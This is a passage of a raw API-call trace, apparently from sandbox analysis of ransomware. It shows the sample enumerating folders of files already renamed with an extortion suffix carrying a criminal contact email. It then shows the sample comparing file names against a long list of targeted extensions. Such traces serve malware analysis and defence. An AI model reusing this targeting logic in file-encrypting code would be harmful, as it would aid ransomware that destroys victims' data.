	[0160.381] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bdceb2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bdceb2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c29384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c29384, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c29384, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c4f657, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362a4885, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362a4885, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362a4885, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362a4885, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.381] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.382] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0160.383] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.383] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e628
	[0160.385] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.385] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36302030, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.386] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367bbe04, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367bbe04, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x367dad6e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.386] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.386] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.386] FindClose (in: hFindFile=0x76e628 | out: hFindFile=0x76e628) returned 1
	[0160.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.387] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0160.387] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.390] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.390] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e3f643, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e3f643, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e6585c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.390] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0160.390] lstrlenW (lpString=".1cd") returned 4
	[0160.390] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0160.390] lstrlenW (lpString=".3ds") returned 4
	[0160.390] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0160.390] lstrlenW (lpString=".3fr") returned 4
	[0160.390] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0160.390] lstrlenW (lpString=".3g2") returned 4
	[0160.390] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0160.390] lstrlenW (lpString=".3gp") returned 4
	[0160.390] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0160.390] lstrlenW (lpString=".7z") returned 3
	[0160.390] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0160.390] lstrlenW (lpString=".accda") returned 6
	[0160.390] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0160.390] lstrlenW (lpString=".accdb") returned 6
	[0160.390] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0160.390] lstrlenW (lpString=".accdc") returned 6
	[0160.390] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0160.390] lstrlenW (lpString=".accde") returned 6
	[0160.390] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0160.390] lstrlenW (lpString=".accdt") returned 6
	[0160.391] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0160.391] lstrlenW (lpString=".accdw") returned 6
	[0160.391] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0160.391] lstrlenW (lpString=".adb") returned 4
	[0160.391] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".adp") returned 4
	[0160.391] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai") returned 3
	[0160.391] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai3") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai4") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai5") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai6") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai7") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".ai8") returned 4
	[0160.391] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".anim") returned 5
	[0160.391] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0160.391] lstrlenW (lpString=".arw") returned 4
	[0160.391] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0160.391] lstrlenW (lpString=".as") returned 3
	[0160.391] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0160.391] lstrlenW (lpString=".asa") returned 4
	[0160.391] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asc") returned 4
	[0160.392] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".ascx") returned 5
	[0160.392] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asm") returned 4
	[0160.392] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asmx") returned 5
	[0160.392] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asp") returned 4
	[0160.392] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".aspx") returned 5
	[0160.392] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asr") returned 4
	[0160.392] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".asx") returned 4
	[0160.392] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".avi") returned 4
	[0160.392] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".avs") returned 4
	[0160.392] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".backup") returned 7
	[0160.392] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0160.392] lstrlenW (lpString=".bak") returned 4
	[0160.392] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0160.392] lstrlenW (lpString=".bay") returned 4
	[0160.392] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".bd") returned 3
	[0160.393] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0160.393] lstrlenW (lpString=".bin") returned 4
	[0160.393] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".bmp") returned 4
	[0160.393] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".bz2") returned 4
	[0160.393] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".c") returned 2
	[0160.393] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0160.393] lstrlenW (lpString=".cdr") returned 4
	[0160.393] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".cer") returned 4
	[0160.393] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0160.393] lstrlenW (lpString=".cf") returned 3
	[0160.393] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0160.393] lstrlenW (lpString=".cfc") returned 4
	[0160.393] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cfm") returned 4
	[0160.394] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cfml") returned 5
	[0160.394] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cfu") returned 4
	[0160.394] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".chm") returned 4
	[0160.394] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cin") returned 4
	[0160.394] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".class") returned 6
	[0160.394] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0160.394] lstrlenW (lpString=".clx") returned 4
	[0160.394] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".config") returned 7
	[0160.394] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cpp") returned 4
	[0160.394] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0160.394] lstrlenW (lpString=".cr2") returned 4
	[0160.394] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".crt") returned 4
	[0160.395] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".crw") returned 4
	[0160.395] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".cs") returned 3
	[0160.395] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0160.395] lstrlenW (lpString=".css") returned 4
	[0160.395] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".csv") returned 4
	[0160.395] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".cub") returned 4
	[0160.395] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dae") returned 4
	[0160.395] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dat") returned 4
	[0160.395] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".db") returned 3
	[0160.395] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0160.395] lstrlenW (lpString=".dbf") returned 4
	[0160.395] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dbx") returned 4
	[0160.395] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dc3") returned 4
	[0160.395] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dcm") returned 4
	[0160.395] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dcr") returned 4
	[0160.395] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".der") returned 4
	[0160.395] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dib") returned 4
	[0160.395] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dic") returned 4
	[0160.395] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0160.395] lstrlenW (lpString=".dif") returned 4
	[0160.395] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".divx") returned 5
	[0160.396] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".djvu") returned 5
	[0160.396] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dng") returned 4
	[0160.396] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".doc") returned 4
	[0160.396] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".docm") returned 5
	[0160.396] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".docx") returned 5
	[0160.396] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dot") returned 4
	[0160.396] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dotm") returned 5
	[0160.396] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dotx") returned 5
	[0160.396] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dpx") returned 4
	[0160.396] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dqy") returned 4
	[0160.396] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dsn") returned 4
	[0160.396] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dt") returned 3
	[0160.396] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0160.396] lstrlenW (lpString=".dtd") returned 4
	[0160.396] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dwg") returned 4
	[0160.396] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dwt") returned 4
	[0160.396] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0160.396] lstrlenW (lpString=".dx") returned 3
	[0160.396] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0160.396] lstrlenW (lpString=".dxf") returned 4
	[0160.397] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".edml") returned 5
	[0160.397] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0160.397] lstrlenW (lpString=".efd") returned 4
	[0160.397] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".elf") returned 4
	[0160.397] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".emf") returned 4
	[0160.397] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".emz") returned 4
	[0160.397] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".epf") returned 4
	[0160.397] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".eps") returned 4
	[0160.397] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".epsf") returned 5
	[0160.397] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0160.397] lstrlenW (lpString=".epsp") returned 5
	[0160.397] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0160.397] lstrlenW (lpString=".erf") returned 4
	[0160.397] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".exr") returned 4
	[0160.397] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".f4v") returned 4
	[0160.397] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".fido") returned 5
	[0160.397] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0160.397] lstrlenW (lpString=".flm") returned 4
	[0160.397] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".flv") returned 4
	[0160.397] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".frm") returned 4
	[0160.397] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".fxg") returned 4
	[0160.397] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0160.397] lstrlenW (lpString=".geo") returned 4
	[0160.398] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".gif") returned 4
	[0160.398] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".grs") returned 4
	[0160.398] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".gz") returned 3
	[0160.398] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0160.398] lstrlenW (lpString=".h") returned 2
	[0160.398] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0160.398] lstrlenW (lpString=".hdr") returned 4
	[0160.398] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".hpp") returned 4
	[0160.398] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".hta") returned 4
	[0160.398] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".htc") returned 4
	[0160.398] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".htm") returned 4
	[0160.398] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".html") returned 5
	[0160.398] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0160.398] lstrlenW (lpString=".icb") returned 4
	[0160.398] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".ics") returned 4
	[0160.398] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".iff") returned 4
	[0160.398] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".inc") returned 4
	[0160.398] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".indd") returned 5
	[0160.398] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0160.398] lstrlenW (lpString=".ini") returned 4
	[0160.398] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0160.398] lstrlenW (lpString=".iqy") returned 4
	[0160.398] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".j2c") returned 4
	[0160.399] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".j2k") returned 4
	[0160.399] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".java") returned 5
	[0160.399] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jp2") returned 4
	[0160.399] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpc") returned 4
	[0160.399] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpe") returned 4
	[0160.399] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpeg") returned 5
	[0160.399] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpf") returned 4
	[0160.399] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0160.399] lstrlenW (lpString=".jpg") returned 4
